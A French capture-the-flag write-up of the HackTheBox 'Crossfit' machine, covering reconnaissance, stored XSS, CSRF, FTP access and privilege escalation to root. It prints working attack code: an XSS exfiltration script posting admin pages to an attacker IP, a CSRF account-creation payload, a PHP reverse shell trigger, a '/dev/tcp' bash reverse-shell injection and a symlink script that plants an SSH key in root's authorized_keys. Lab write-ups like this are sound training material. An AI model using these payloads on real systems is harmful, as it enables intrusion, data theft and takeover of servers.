CTF — HackTheBox — Crossfit

R Pion
ProHacktive
Published in
16 min readMar 29, 2021
Caractéristique de la machine Crossfit
  • IP de la machine Crossfit : 10.129.2.20 (sinon, 10.129.0.0/16)
  • IP de l’attaquant : 10.10.14.77 (sinon, 10.10.0.0/16)

Note : la machine crossfit vient d’être ‘retired’ … le write-up officiel est disponible sur le site hackthebox.com! C’est la vie!

Reconnaissance avec Nmap

$> nmap -p- -A -oA nmap 10.129.2.20# Nmap 7.91 scan initiated Fri Feb  5 04:45:12 2021 as: nmap -p- -A -oA nmap 10.129.2.20
Nmap scan report for 10.129.2.20
Host is up (0.029s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.0.8 or later
| ssl-cert: Subject: commonName=*.crossfit.htb/organizationName=Cross Fit Ltd./stateOrProvinceName=NY/countryName=US
| Not valid before: 2020-04-30T19:16:46
|_Not valid after: 3991-08-16T19:16:46
|_ssl-date: TLS randomness does not represent time
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 b0:e7:5f:5f:7e:5a:4f:e8:e4:cf:f1:98:01:cb:3f:52 (RSA)
| 256 67:88:2d:20:a5:c1:a7:71:50:2b:c8:07:a4:b2:60:e5 (ECDSA)
|_ 256 62:ce:a3:15:93:c8:8c:b6:8e:23:1d:66:52:f4:4f:ef (ED25519)
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Apache2 Debian Default Page: It works
Service Info: Host: Cross; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Nous avons 3 ports qui seront utilisés pendant la résolution de ce challenge :

  • 21/tcp : Serveur FTP en clair avec authentification forcée en TLS.
  • 22/tcp : Serveur SSH
  • 80/tcp : Un serveur web ayant la page par défaut d’Apache lorsque l’on joint l’url : http://10.129.2.20

21/tcp — FTP — Obtenir le VHOST

Avec la commande suivante, il est possible de démarrer une connection SSL via le port 21/tcp

openssl s_client -debug -starttls ftp  -connect 10.129.2.20:21

Nous obtenons alors le résultat suivant

Output de la commande FTP

Nous pouvons voir dans les données du certificat serveur une adresse mail contenant le sous-domaine suivant : info@gym-club.crossfit.htb

Nous allons insérer cette nouvelle entrée dans notre /etc/hosts afin de pouvoir accéder au site web sur le 80/tcp.

echo "10.129.2.20 gym-club.crossfit.htb" >> /etc/hosts

80/tcp —WEB— XSS

Site crossfit

En se balandant sur le site web, on trouve un formulaire intéressant sur l’url suivante : http://gym-club.crossfit.htb/blog-single.php

On accède à un formulaire qui permet de laisser un commentaire. En remplissant le contenu avec la payload XSS classique

<script>alert();</script>
Test payload XSS dans le formulaire ‘Leave a comment’

En soumettant les informations ci-dessus, on obtient le résultat suivant,

Message d’alerte de sécurité — XSS détectée

Ce message d’avertissement nous indique que notre adresse IP et notre User-Agent sera vu par l’administrateur. Nous allons injecter notre vraie payload XSS dans notre User-Agent en plus du commentaire contenant la payload XSS classique qui va servir à provoquer l’alerte.

Ce qui nous donne le script python suivant : run_xss.py

import requests
import json
target_ip = "gym-club.crossfit.htb"
hacker_ip = "YOUR_IP"
url = 'http://{target_ip}/blog-single.php'.format(target_ip=target_ip)
attacker_url = "http://{hacker_ip}:8000/a.js".format(hacker_ip=hacker_ip)
headers = {
'Host': 'gym-club.crossfit.htb',
'User-Agent': '<script src="{attacker_url}"></script>'.format(attacker_url=attacker_url),
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Accept-Language': 'en-US,en;q=0.5',
'Accept-Encoding': 'gzip, deflate',
'Content-Type': 'application/x-www-form-urlencoded',
'Origin': 'http://gym-club.crossfit.htb',
'Connection': 'close',
'Referer': 'http://gym-club.crossfit.htb/blog-single.php',
'Upgrade-Insecure-Requests': '1'
}
payload = "name=name&email=a%40a.fr&phone=phone&message=%3Cscript%3Ealert%28%29%3B%3Cscript%3E&submit=submit"
r = requests.post(url, data=payload, headers=headers)
print("SENT!")

Ce script va nous permettre de faire appel à notre fichier Javascript ‘a.js’. Cependant dans notre XSS, on ne va pas pouvoir récupérer des informations authentification. Nous allons crawler certaines pages du site comme par exemple : http://gym-club.crossfit.htb/security_threat/report.php. Cette page contient les informations de reporting vu par l’administrateur et n’est pas accessible depuis notre contexte utilisateur classique. Voici notre script :

url_attacker = "http://10.10.14.60:8000/";function http_send_webpage_to_attacker(url)
{
// Get webpage from admin's browser
var xmlHttp = new XMLHttpRequest();
xmlHttp.open( "GET", url, true );
xmlHttp.onload = function (e) {
if (xmlHttp.readyState === 4) {
if (xmlHttp.status === 200) {
// Send result to the attcker <3
data = JSON.stringify({"type": "webpage", "url": url, "page_content": xmlHttp.responseText});
var xmlHttp_post = new XMLHttpRequest();
xmlHttp_post.open( "POST", url_attacker, true );
xmlHttp_post.send( data );
} else {
// Send result to the attcker <3
data = JSON.stringify({"type": "webpage_error", "url": url, "page_content": "<error>"});
var xmlHttp_post = new XMLHttpRequest();
xmlHttp_post.open( "POST", url_attacker, true );
xmlHttp_post.send( data );
}
}
else
{
console.log("coucou");
}

};
xmlHttp.onerror = function (e) {
// Send error report to the attcker ...
data = JSON.stringify({"type": "webpage_error", "url": url, "page_content": "<error>"});
var xmlHttp_post = new XMLHttpRequest();
xmlHttp_post.open( "POST", url, true );
xmlHttp_post.send( data );
};
xmlHttp.send(null);
}
http_send_webpage_to_attacker('http://gym-club.crossfit.htb/security_threat/report.php');

Nous allons mettre en place un serveur web fait avec SimpleHTTPServer en python : server.py. Cela va nous permettre de :

  • Stocker notre fichier ‘a.js’ contenant la payload complète
  • Enregistrer les pages vu par l’administrateur
  • Avoir un suivis concernant notre attaque XSS
from sys import argv
import os
import socketserver
import http.server
import logging
import cgi
import json
import time
import socket
class ServerHandler(http.server.SimpleHTTPRequestHandler):def do_GET(self):
http.server.SimpleHTTPRequestHandler.do_GET(self)
logging.debug(self.headers)
def do_POST(self):
http.server.SimpleHTTPRequestHandler.do_GET(self)
logging.debug(self.headers)

post_data = self.rfile.read(int(self.headers['Content-Length']))
try :
post_data_json = json.loads(post_data)
logging.debug(json.dumps(post_data_json, indent=4, sort_keys=True))

post_data_type = post_data_json.get("type","")

if post_data_type == "webpage":
print(f"[+] - New url detected by admin - \"{post_data_json.get('url')}\"")
page_content = post_data_json.get("page_content","")

# Write html file
page_content_filename = "output/" + str(time.time()) + ".html"
fd = open(page_content_filename, "w")
fd.write(page_content)
print(f"HTML file created : {page_content_filename}")
fd.close()

elif post_data_type == "webpage_error":
print(f"/!\ - Error return by admin for this url - \"{post_data_json.get('url')}\"")
elif post_data_type == "create_account":
print(f"[+] - Account created with those parameters,\n\"{json.dumps(post_data_json, indent=4)}\"")
elif post_data_type == "account_error":
print(f"/!\ - Unable to create FTP account - \"{json.dumps(post_data_json, indent=4)}\"")
else:
print(f"/!\ - Unkown message - \"{json.dumps(post_data_json, indent=4)}\"")


except:
print("Invalid JSON data !")
print(post_data)

def end_headers(self):
self.send_header('Access-Control-Allow-Origin', '*')
http.server.SimpleHTTPRequestHandler.end_headers(self)
class ReuseAddrTCPServer(socketserver.TCPServer):
allow_reuse_address = True
def run(port=8080):
Handler = ServerHandler
httpd = ReuseAddrTCPServer(("10.10.14.60", port), Handler)
print("serving at port", port)
try:
httpd.serve_forever()
except KeyboardInterrupt:
print("Detect CTRL+C ...")
pass
httpd.server_close()
httpd.shutdown()
if __name__ == '__main__':if not os.path.exists('output'):
print("Create output directory to store html content")
os.makedirs('output')

if len(argv) == 2:
run(port=int(argv[1]))
else:
run()

On va lancer notre serveur web sur le port 8000

python3 server.py 8080

Nous allons lancer notre XSS afin de lancer notre script ‘a.js’ avec le script python run_xss.py montré précédement.

python3 run_xss.py

Notre script server.py va recevoir la réponse de la page au format JSON et l’enregistrer en HTML. Voici le résultat obtenu,

Page contenant la stored XSS vu par l’administrateur du site
Code HTML de la page contenant la stored XSS vu par l’administrateur du site

80/tcp —WEB—CSRF

La post-exploitation de la XSS n’est pas triviale, en regardant les headers HTTP dans la réponse du serveur, nous avons l’information suivante :

Le header Access-Control-Allow-Credentials, nous indique la configuration d’un CORS

Le champs ‘Access-Control-Allow-Credentials’ nous donne l’information que le site utilise dans sa configuration le ‘Cross-origin resource sharing’ (CORS).

Cela permet d’acceder a des ressources restreintes depuis le domaine : gym-club.crossfit.htb. Nous allons brute-forcer les sous-domaines accessible depuis celui-ci avec wfuzz (github : https://github.com/xmendez/wfuzz.git).
Lorsqu’un sous-domaines existe, nous allons avoir le header ‘Access-Control-Allow-Origin’ dans la réponse du serveur.

Note : Grosse cheatsheet super utile : https://book.hacktricks.xyz/

wfuzz -w subdomains.txt -H "Origin: http://FUZZ.crossfit.htb" — filter "r.headers.response~'Access-Control-Allow-Origin'" http://gym-club.crossfit.htb/

Note : la wordlist ‘subdomains.txt’ provient de https://github.com/danielmiessler/SecLists/blob/master/Discovery/DNS/subdomains-top1million-5000.txt

Le résultat nous indique que le sous-domaine ftp.crossfit.htb existe!

Nous allons consulter la page http://ftp.crossfit.htb avec notre XSS en spécifiant le paramètre withCredentials à true:

xmlHttp = new XMLHttpRequest;
xmlHttp.withCredentials = true;
http://ftp.crossfit.htb vu en utilisant la XSS sur l’administrateur du site

Il est possible d’ajouter un nouveau compte, on tombe sur le formulaire suivant,

Fomulaire pour ajouter un nouveau compte FTP
Code HTML du formulaire de création d’un compte FTP

Nous allons mettre à jour notre fichier a.js afin de nous créer un compte FTP sur le serveur.

// Create FTP account
var url_attacker = "http://10.10.14.60:8000/";
var url_ftp_account_creation_form = "http://ftp.crossfit.htb/accounts/create"
try {
// Get CSRF token
xmlHttp = new XMLHttpRequest;
xmlHttp.withCredentials = true;
xmlHttp.open('GET', url_ftp_account_creation_form, false);
xmlHttp.send();
result = xmlHttp.responseText;

// parse CSRF token
var parser = new DOMParser();
var xmlDoc = parser.parseFromString(result, "text/html");
var token = xmlDoc.getElementsByName('_token')[0].value;

// Submit form for FTP account creation
url_ftp_account_creation_action = "http://ftp.crossfit.htb/accounts";
account_data = {
"url": url_ftp_account_creation_action,
"type": "create_account",
"username": "papa123",
"password": "papa123"
};
// Craft POST parameters
params_account_create = "_token=" + token + "&username=" + account_data["username"] + "&pass=" + account_data["password"] + '&submit=submit';
// Send POST request to create FTP account
xmlHttp.open( "POST", url_ftp_account_creation_action, false );
xmlHttp.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xmlHttp.send( params_account_create );
result_create_account = xmlHttp.responseText;
// Notice me about FTP account creation
account_data["params"] = params_account_create;
account_data["result"] = result_create_account;
data = JSON.stringify(account_data);
httpPOST(url_attacker, data);
}
catch(error) {
data = JSON.stringify({"type":"account_error", "message_error": error});
httpPOST(url_attacker, data);
}

Nous pouvons maintenant nous connecter sur le service FTP en utilisant les identifiants suivants : papa123/papa123.

Authentification réussi sur le FTP

21/tcp — FTP — Compte www-data

En utilisant un client FTP, nous pouvons voir 4 dossiers dans l’arborescence de notre compte FTP.

Dossier accessible depuis le compte FTP

Il est possible d’écrire uniquement dans le dossier ‘development-test’. En regardant le nom des dossiers, on se rend compte de la logique suivante :

  • gym-club.crossfit.htb : site de gym
  • ftp.crossfit.htb : site utiliser pour créer un compte FTP
  • html.crossfit.htb : page Apache par défaut

Le dossier development-test doit être accessible depuis l’url : http://development-test.crossfit.htb

Nous allons uploader notre reverse shell PHP ici

Upload du reverse shell PHP dans /development-test/shell.php

Enfin, nous utiliserons notre XSS afin d’executer notre PHP en utilisant le context de l’administrateur. Au lieu de faire appelle à notre script a.js, nous allons créer b.js avec le code suivant :

function httpGET(url)
{
var xmlHttp = new XMLHttpRequest();
xmlHttp.open( "GET", url, false );
xmlHttp.send( null );
return xmlHttp.responseText;
}
httpGET("http://development-test.crossfit.htb/shell.php");

Note : source du reverse shell — https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php

Bien evidement, nous avons lancé un netcat afin de récupérer la connection du reverse shell avec,

ncat -nvlp 4444

On poste notre XSS et nous obtenons notre reverse shell avec le compte www-data

reverse shell avec le compte www-data

En utilisant le reverse shell, nous pouvons lire la page report.php (vu précédement) contenant les identifiants pour se connecter à la base de donnée ‘crossfit’.

Les identifiants à la base ‘crossfit’ sont les suivants : crossfit/oeLoo~y2baeni

Reverse shell PHP — Compte Hank

En cherchant un peu, on trouve un fichier intéressant contenant tout simplement le hash du compte ‘hank’.

Capture issue de mes notes contenant le hash du compte hank

On peut cracker le hash de cet utilisateur en utilisant JohnTheRipper avec la wordlist ‘rockyou’

Résultat de john sur le hash de hank

Le mot de passe a été trouvé, nous pouvons nous connecter en SSH avec les identifiants suivant : hank/powerpuffgirls

Compromission du compte hank

Le compte utilisateur a été compromis, nous devons élever nos privilèges afin d’être administrateur de la machine.

22/tcp — SSH — Compte Isaac

Dans la capture précédente, on remarque que ‘hank’ appartient au groupe ‘admins’. Ce groupe nous permet d’accéder aux fichiers suivants :

Fichier accessible en lecture depuis le compte ‘admins’

On remarque que le fichier ‘send_update.php’ est exécuté toutes les minutes avec les privilèges du compte isaac.

Tâche plannifiée lancée avec le compte d’isaac.

Mais alors que contient ce fichier PHP ? Voici son contenu,

<?php
/***************************************************
* Send email updates to users in the mailing list *
***************************************************/
require("vendor/autoload.php");
require("includes/functions.php");
require("includes/db.php");
require("includes/config.php");
use mikehaertl\shellcommand\Command;
if($conn)
{
$fs_iterator = new FilesystemIterator($msg_dir);
foreach ($fs_iterator as $file_info)
{
if($file_info->isFile())
{
$full_path = $file_info->getPathname();
$res = $conn->query('SELECT email FROM users');
while($row = $res->fetch_array(MYSQLI_ASSOC))
{
$command = new Command('/usr/bin/mail');
$command->addArg('-s', 'CrossFit Club Newsletter', $escape=true);
$command->addArg($row['email'], $escape=true);
$msg = file_get_contents($full_path);
$command->setStdIn('test');
$command->execute();
}
}
unlink($full_path);
}
}
cleanup();
?>

Voici le fonctionnement du script :

  • Le script vérifie l’existence de fichier dans le dossier ‘$msg_dir’ (pour l’instant on ne sait pas où c’est…)
  • Pour chaque fichier, une requête SQL est faite ‘SELECT email FROM users’
  • Le champs ‘email’ est ajouté dans le champs ‘addArg’ dans l’objet ‘Command’.
  • L’objet Command provient du projet opensource :
 https://github.com/mikehaertl/php-shellcommand.git
  • Puis ensuite cet objet exécute la commande préparée par le script

Nous avons accès à la version du logiciel,

Version de php-shellcommand

Cependant, cette version est vulnérable à une injection de commande d’après l’issue suivante :

OK ! Il nous manque le dossier ‘$msg_dir’ pour lancer notre exécution de commande mais c’est où?

Pas de panique, nous avons vu plus haut les permissions de lecture du groupe ‘admins’, il est possible d’avoir les identifiants du compte ‘ftpadm’ en clair !

Mot de passe en clair du compte FTP ftpadm

Nous avons notre exécution de commande, le plan est le suivant :

  • Mettre un netcat en écoute sur le port 4444/tcp
  • Se connecter au FTP avec ftpadm pour uploader un fichier
  • Insérer notre payload reverse shell dans le champs email de la DB crossfit

En se connectant on voit le fameux ‘$msg_dir’ (=’messages’), il suffit de créer un fichier vide : ’toto’

Création d’un fichier quelconque afin de rentrer dans la bonne condition du script send_update.php

Ensuite, nous allons insérer notre reverse shell dans la base de donnée afin qu’elle soit exécuté dans une minute.

mysql -h 127.0.0.1 -u crossfit -p crossfit — password=”oeLoo~y2baeni” -e “insert into users (email) values (‘http://example.com — wrong-argument || bash -c \”bash -i >& /dev/tcp/10.10.14.68/4444 0>&1 \”’);”
Payload dans la base de donée permettant d’obtenir un reverse shell sur le port 4444

Nous lançons notre listener netcat sur le port 4444/tcp.

Bingo ! Nous avons obtenu le compte d’isaac !

Pour être comme à la maison , nous allons ajouter notre propre clé publique SSH dans le fichier :

/home/isaac/.ssh/authorized_keys

Pour cela, on va générer de nos clés (côté attaquant de préférence) avec :

ssh-keygen -t rsa -b 4096 -C “your_email@example.com” -f ssh_key

Puis rajouter dans le authorized_keys de isaac (sur le serveur crossfit) :

echo ‘ssh-rsa […] your_email@example.com’ > authorized_keys

Et pour se connecter sur le SSH du serveur crossfit :

ssh isaac@gym-club.crossfit.htb -i ssh_key
Compromission du compte isaac

22/TCP — SSH — Chercher le binaire

Lors de ce challenge, une des choses que j’avais remarqué, c’était que la commande ‘ps’ qui permet de lister les processus sous linux me donnait uniquement que ceux dont j’étais le propriétaire.

Résultat de la commande ps

En effet, d’après le fichier /etc/fstab, le système de fichier ‘proc’ est monté avec l’option ‘hidepid=2’.

J’ai découvert un projet sympa permettant de surveiller l’activité des processus sans avoir les droits root. Il s’agit de PSPY : https://github.com/DominicBreuker/pspy

Cet outil surveille l’activité d’un système Linux en utilisant l’API de inotify et en surveillant le contenu de nombreux dossiers tels que : /proc, /tmp, /usr, etc…

J’ai lancé la surveillance des processes ainsi que de l’activité du système de fichier en redirigeant l’output dans stdout et le fichier pspy_open_file.log.

Sortie de la commande pspy avec l’activité des fichiers

En triant un peu la sortie de pspy, on extrait les binaires localisés dans le dossier /usr/bin. Ce qui nous permet de réduire un peu la liste afin de trouver un binaire intéressant.

Liste des binaires intéressants trouvés par pspy

En faisant un rapide ‘strings’ sur le binaire /usr/bin/dbmsg, on trouve des chaines de caractère fortement lié au challenge crossfit comme les identifiants de la base de donnée.

De plus, ce binaire est lancé toutes les minutes sur la machine crossfit!

Exécution de dbmsg toutes les minutes

Nous allons télécharger le binaire afin de l’analyser avec radare2 : https://github.com/radareorg/radare2.git.

22/tcp — SSH — Analyse de dbmsg

Voici une petite liste de commande permettant de s’en sortir concernant le reverse du binaire dbmsg

# Lancement de R2 sur un binaire
r2 ./dbmsg
# Chargement des symboles
> aaaa
# Liste des fonctions
> afl
# Aller a la fonction
> s main
> s sym.process_data
# Desassembler la fonction courante
> pdf
# Obtenir le pseudo code en C
> pdc

Dans un premier temps, nous allons charger les symboles et nous allons lister les fonctions utilisées par le programme

Chargement des symboles puis on liste les fonctions

Nous allons aller dans la fonction ‘main’ du programme

Désassemblage de la fonction main

Ce qu’on voit :

  • Dans le ‘main’, on voit qu’une vérification de l’EUID (effective UID) est faite afin de s’assurer que le compte qui exécute le binaire est bien ‘root’.
  • Ensuite, on remarque que la seed utilisée par srand() est prédictible, en effet, celle-ci se base sur le timestamp courant : time(0).
  • La routine principale se déroule dans la fonction ‘process_data’

Nous allons désassembler la fonction ‘process_data’

[0x00001a13]> s sym.process_data
[0x000015f0]> pdf

La fonction étant un peu grande, je vais vous montrer les parties importantes du code.

│           0x00001649      4c8d05010a00.  lea r8, qword str.crossfit  ; 0x2051 ; "crossfit"
│ 0x00001650 488d0d030a00. lea rcx, qword str.oeLoo_y2baeni ; 0x205a ; "oeLoo~y2baeni"
│ 0x00001657 488d15f30900. lea rdx, qword str.crossfit ; 0x2051 ; "crossfit"
│ 0x0000165e 488d35030a00. lea rsi, qword str.localhost ; 0x2068 ; "localhost"
│ 0x00001665 4889c7 mov rdi, rax
│ 0x00001668 e8d3f9ffff call sym.imp.mysql_real_connect
│ 0x0000166d 4883c410 add rsp, 0x10
│ 0x00001671 4885c0 test rax, rax
│ ┌─< 0x00001674 750c jne 0x1682
│ │ 0x00001676 488b45e8 mov rax, qword [var_18h]
│ │ 0x0000167a 4889c7 mov rdi, rax ; uint32_t arg1
│ │ 0x0000167d e833fdffff call sym.exit_with_error
│ │ ; CODE XREF from sym.process_data @ 0x1674
│ └─> 0x00001682 488b45e8 mov rax, qword [var_18h]
│ 0x00001686 488d35e50900. lea rsi, qword str.SELECT___FROM_messages ; 0x2072 ; "SELECT * FROM messages"
│ 0x0000168d 4889c7 mov rdi, rax
│ 0x00001690 e88bfbffff call sym.imp.mysql_query

Ici, le programme utilise les identifiants pour se connecter à la base de donnée ‘crossfit’ puis effectue la requête SQL ‘SELECT * FROM messages’.

0x000016a5      488b45e8       mov rax, qword [var_18h]
│ 0x000016a9 4889c7 mov rdi, rax
│ 0x000016ac e82ffaffff call sym.imp.mysql_store_result
│ 0x000016b1 488945e0 mov qword [var_20h], rax

Le programme vérifie le contenu de la réponse SQL puis stocke celle-ci si le contenu n’est pas vide.

0x000016c8      488d45bc       lea rax, qword [var_44h]
│ 0x000016cc 4889c2 mov rdx, rax
│ 0x000016cf be01000000 mov esi, 1
│ 0x000016d4 488d3db50900. lea rdi, qword str.var_backups_mariadb_comments.zip ; 0x2090 ; "/var/backups/mariadb/comments.zip"
│ 0x000016db e850fbffff call sym.imp.zip_open

On voit que ce programme a pour but de mettre à jour le backup de mariaDB. Par la suite, le résultat de la requête SQL va être ‘fetch’.

Calcul d’un md5

Nous avons une suite de ‘if’ qui vérifie si tous les champs existent dans la réponse SQL (id, name, email, message) en incrémentant le curseur de 0x8(h).

Champs de la table messages

Un nombre aléatoire (int : entier relatif 64 bits) est généré avec la seed qui est égale au timestamp courant. (vu précédement)

Nous avons une format string ‘%d%s’ reprenant le nombre aléatoire et le champs ‘id’.

Le condensat md5 est calculé à partir de la concaténation du timestamp avec l’id du message.

Par exemple, on peut calculer ce md5 en prenant le timestamp courant de notre machine avec l’id qui est égale à 1300 :

echo -n $(date +%s)1300 | md5sum
Validation du chemin du fichier

Afin de rentrer dans la bonne condition et lancer le processus de mise à jour du backup, nous devons créer un fichier ayant ce format :

/var/local/md5(rand()+id_messages)

Super ! L’utilisateur isaac appartient au groupe ‘staff’. Ce groupe peut écrire dans le répertoire /var/local/.

Ecriture dans le fichier localisé dans /var/local

Si on obtient le bon format de fichier, alors les champs de l’entrée stockée dans la table ‘messages’ de la base de donnée sont écrit (séparés par des espaces) dans notre fichier puis sera rajoutée à l’archive ZIP.

En ayant le bon format de fichier et en créant un lien symbolique de ce fichier vers un autre, il est possible d’écrire le contenu de notre entrée SQL n’importe où sur le disque.

22/tcp — SSH — Compte root

Mais alors, on écrit quoi et où? J’avais pensé à une tâche planifiée mais il faut redémarrer le service crond donc ça n’a pas marché …

Création de la tache planifiée avec les permissions de root
Contenu de la tâche planifiée permettant d’avoir un reverse shell sur le 4445/tcp de l’attaquant

… Ou bien de rajouter une entrée dans le /etc/shadow mais j’avais trop peur de casser le challenge.

La solution la plus simple pour commencer serait d’ajouter sa clé SSH dans le authorized_keys du compte root. Espérons que le dossier ‘/root/.ssh’ existe …

Dans un premier temps, nous allons créer un petit programme en C.

vim /home/isaac/a.c

Ce programme va prendre en argument un timestamp (qui sera notre seed) et afficher le nombre aléatoire généré en fonction de celle-ci.

include <stdio.h>
include <time.h>
include <stdlib.h>
void main(int argc, char ** argv)
{
srand(atol(argv[1]));
printf("%ld",rand());
}

On va alors compiler nos sources,

gcc a.c
Exemple d’utilisation du programme

Nous savons que dbmsg s’exécute toutes les minutes, il faut donc anticiper le timestamp qui sera utilisé. Cela va se faire via un petit script bash qui va appeller notre programme compilé en C.

RAND_EXE="/home/isaac/a.out"
TS=$(date +%s)
SSH_PATH="/root/.ssh/authorized_keys"
mysql -h 127.0.0.1 -u crossfit -p crossfit --password="oeLoo~y2baeni" -e "insert into messages (name,email,message) values ('ssh-rsa', ' ', 'AAAAB3NzaC[...]0alCBk2Q== your_email@example.com');"
MESSAGE_ID=$(mysql -h 127.0.0.1 -u crossfit -p crossfit --password="oeLoo~y2baeni" -e "select id from messages;" -B -N | tr -d '\n')for X in $(seq 1 1 100)
do
TS_1=$((TS+X))
RAND_C=$(${RAND_EXE} ${TS_1})
filename=$(echo -n ${RAND_C}${MESSAGE_ID}| md5sum| cut -d' ' -f1)
echo "[+] Create ${filename} in /var/local."
ln -s ${SSH_PATH} /var/local/${filename}
done

Voici les étapes du script :

  • On sauvegarde le timestamp courant.
  • On insert notre payload séparée par des espaces. Il s’agit de notre clé publique SSH.
  • On sauvegarde l’id de l’entrée de la table ‘messages’.
  • On va utiliser notre programme en C pour obtenir nos nombres aléatoires. Nous allons le faire pour les 100 secondes à venir. (nombre aléatoire allant de [timestamp,timestamp+100])
  • On créé un fichier dans /var/local/ portant le nom du md5 calculé en fonction du timestamp et du message_id
  • Pour chacun des fichiers, on fait un lien symbolique vers /root/.ssh/authorized_keys dans le but de rajouter notre clé SSH pour l’utilisateur root.

On peut lancer le script et attendre au maximum une minute. Voici le contenu du dossier /var/local/ pendant l’attaque,

Répertoire /var/local/ pendant l’attaque

Enfin, il sera possible de se connecter en SSH avec le compte ‘root’ grâce à la clé SSH que nous avons rajouté.

Compte root compromis

Voilà, merci de m’avoir lu. On se retrouve le mois prochain !

R.P.

--

--